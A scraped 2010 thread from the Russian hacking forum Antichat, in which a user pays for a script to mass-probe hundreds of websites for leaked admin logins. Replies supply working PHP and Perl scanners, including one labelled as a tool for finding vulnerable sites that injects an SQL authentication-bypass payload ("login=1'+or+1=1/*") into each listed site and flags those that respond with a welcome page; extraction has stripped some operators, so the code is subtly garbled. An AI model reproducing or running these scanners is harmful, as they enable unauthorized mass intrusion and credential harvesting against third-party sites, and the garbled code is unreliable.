Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Помогите в Написании Простенького Скрипта (https://forum.antichat.xyz/showthread.php?t=187462)

SuNDowN 16.03.2010 16:40

Помогите в Написании Простенького Скрипта
 
Привет АчаТУ! Буду очень признателен если добрые люди помогут написать простенький php скрипт. С меня ++ сы либо пару $ ;)

Суть скрипта:
- Я вставляю в форму более 500 ссылок вида:
site1.com
site2.com
site3.com

- Скрипт подставляет по очереди (или во много потоков сразу) после каждой ссылки чтото типа:
/admin.php?=error (это можно тоже сделать чтобы через форму вводилось)
- Он как бы открывает каждую ссылку но уже как:
site1.com/admin.php?=error
site2.com/admin.php?=error
site3.com/admin.php?=error

- В центре страницы каждой ссылки он ищет:
Логин: login (login - любое слово, это будет админский ник)
- Если логин обнаружен тогда он записывает ссылку в good.txt на сервере, если нет тогда в bad.txt, если логин не обнаружен то выдаёт разного рода ошибки!

P/S/ думаю вы как бы поняли наверное суть скрипта ;) Если что-то не понятно пишем тут или в ПМ :)

b3 16.03.2010 17:32

PHP код:

<?php
if(!empty($_POST['txt'])){

$links explode("\r\n"$_POST['txt']);
foreach (
$links as $link) {
    
$data file_get_contents($link.'/admin.php?=error');
    if(
preg_match('#Логин: (.*)#',$data,$m)) {
        echo 
'FOUND: '.$m[1].'<br>';
        
file_put_contents('good.txt',$m[1], FILE_APPEND);
    }

}

} else {
    echo 
'<form method="post" enctype="application/x-www-form-urlencoded">
<textarea cols="22" rows="11" wrap="OFF" name="txt"></textarea><br>
<input type="submit" value="Go">
</form>'
;
}
?>

Подозреваю что регулярка не будет правильно парсить т.к. нужен кусочек исходного кода HTML странички места где выводится логин либо ошибка.

SuNDowN 13.05.2010 01:08

UP! Народ может кто за пару баксов напишет?) Ну нужет вот и всё!)

krypt3r 13.05.2010 06:51

Вам же дали вариант. Чем не устраивает?

altblitz 13.05.2010 07:16

b3,
верно по идее.

но <input type="submit" value="Go">
начисто опровергает её.

понимаешь, почему ?

Игорь 13.05.2010 11:56

Если известен ник или ключевое слово
Можно попробовать решить вопрос allsubmitter 4.7, ссылки вбить как адреса сайтов и запустить по ним автопрогон.


Если ключевое слово найдено - уйдет в успешно, если ошибка, то в неудачно.

Чтобы реализовать на php нужно понять, что парсить, какой-то аналог того, что должно быть можно показать?

SuNDowN 13.05.2010 17:10

Цитата:

Сообщение от Игорь
Если известен ник или ключевое слово
Можно попробовать решить вопрос allsubmitter 4.7, ссылки вбить как адреса сайтов и запустить по ним автопрогон.


Если ключевое слово найдено - уйдет в успешно, если ошибка, то в неудачно.

Чтобы реализовать на php нужно понять, что парсить, какой-то аналог того, что должно быть можно показать?

да могу показать если возьмеся в написание скрипта)

phpdreamer 13.05.2010 18:15

PHP код:

<?php
//Скрипт для поиска уязвимых сайтов
//автор: phpdreamer

set_time_limit(0);
//имя файла, в котором список сайтов
$filename 'sites.txt';
//строка в URL, для поиска уязвимых сайтов
$url "?functions.php?login=1'+or+1=1/*";
//строка, которая будет на странице если сайт уязвим
$str 'Добро пожаловать';

//читаем файл и проверяем все сайты
foreach(file($filename) as $site)
    if(
strpos(curlPage(trim($site) . $url) , $str ))
        echo 
$site '<br>';

function 
curlPage($url
{
    if( !
function_exists('curl_init'))
        die(
'На сервере не установлено или отключено расширение cURL. Скрипт завершил работу.');
    
$curl curl_init();
    
curl_setopt($curl,CURLOPT_URL,$url);
    
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
    
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
    
curl_setopt($curlCURLOPT_HTTPHEADER, array(
    
'Accept-Language: ru,en-us;q=0.7,en;q=0.3',
    
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,application/json',
    
'User-Agent: Mozilla/5.0 (X11; U; Gentoo-Linux; ru; rv:1.9.2.3)socks-php-bot Gecko/20100404  Firefox/3.7.0 GTB7.0',
    
'Accept-Encoding: deflate',
    
'Accept-Charset: UTF-8,*'));
    
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,300);
    return 
curl_exec($curl);
}


Tigger 13.05.2010 18:40

PHP код:

use LWP::UserAgent;
use 
HTTP::Cookies;
use 
URI::Escape;
use 
threads;
use 
threads::shared;

my @sites shared loadf('sites.txt');

my @trl = ();
$trl[$_] = threads->create(\&main) for 0..10;
$_->join for @trl;

sub main
{
    
my ($web$cookie) = webclient();
    while(@
sites)
    {
        
$site shift @sites;
        
my $page $web->get($site.'/admin.php?=error')->content;
        if(
$page =~ /Логин: (.*?)/) #регулярка
        
{
            print 
'login found in '.$site# выводим если регулярка найдена
        
}
    }
}
## Веб ##
sub webclient
{
    
my $web = new LWP::UserAgent;
    
my $cookie = new HTTP::Cookies;
    
$web->cookie_jar($cookie);
    
$web->agent($rndua);
    
my @array = ();
    
$web->requests_redirectable(\@array);
    return 
$web$cookie;
}
## Загрузка файла ##
sub loadf {
    
open F"<".$_[0] or erroropen($_[0]); 
    
chomp(my @data = <F>);
    
close F;
    return @
data;
}
## Если файл не найден ##
sub erroropen
{
    print 
'[error] file '.$_[0].' not found';
    exit;
}
## 

Вот накатал быстренько скриптик на PERL'e.
Работает в 10 потоков.

Регялрку сам пиши какую надо или дай кусок сурса, сам напиши.

Чтобы сохроняло в файлы было лень писать, если что пиши в аську.

SuNDowN 13.05.2010 18:48

Цитата:

Сообщение от phpdreamer
PHP код:

<?php
//Скрипт для поиска уязвимых сайтов
//автор: phpdreamer

set_time_limit(0);
//имя файла, в котором список сайтов
$filename 'sites.txt';
//строка в URL, для поиска уязвимых сайтов
$url "?functions.php?login=1'+or+1=1/*";
//строка, которая будет на странице если сайт уязвим
$str 'Добро пожаловать';

//читаем файл и проверяем все сайты
foreach(file($filename) as $site)
    if(
strpos(curlPage(trim($site) . $url) , $str ))
        echo 
$site '<br>';

function 
curlPage($url
{
    if( !
function_exists('curl_init'))
        die(
'На сервере не установлено или отключено расширение cURL. Скрипт завершил работу.');
    
$curl curl_init();
    
curl_setopt($curl,CURLOPT_URL,$url);
    
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
    
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
    
curl_setopt($curlCURLOPT_HTTPHEADER, array(
    
'Accept-Language: ru,en-us;q=0.7,en;q=0.3',
    
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,application/json',
    
'User-Agent: Mozilla/5.0 (X11; U; Gentoo-Linux; ru; rv:1.9.2.3)socks-php-bot Gecko/20100404  Firefox/3.7.0 GTB7.0',
    
'Accept-Encoding: deflate',
    
'Accept-Charset: UTF-8,*'));
    
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,300);
    return 
curl_exec($curl);
}


Скрипт еще не успел начать цикл как приостановил работу :(


Время: 00:40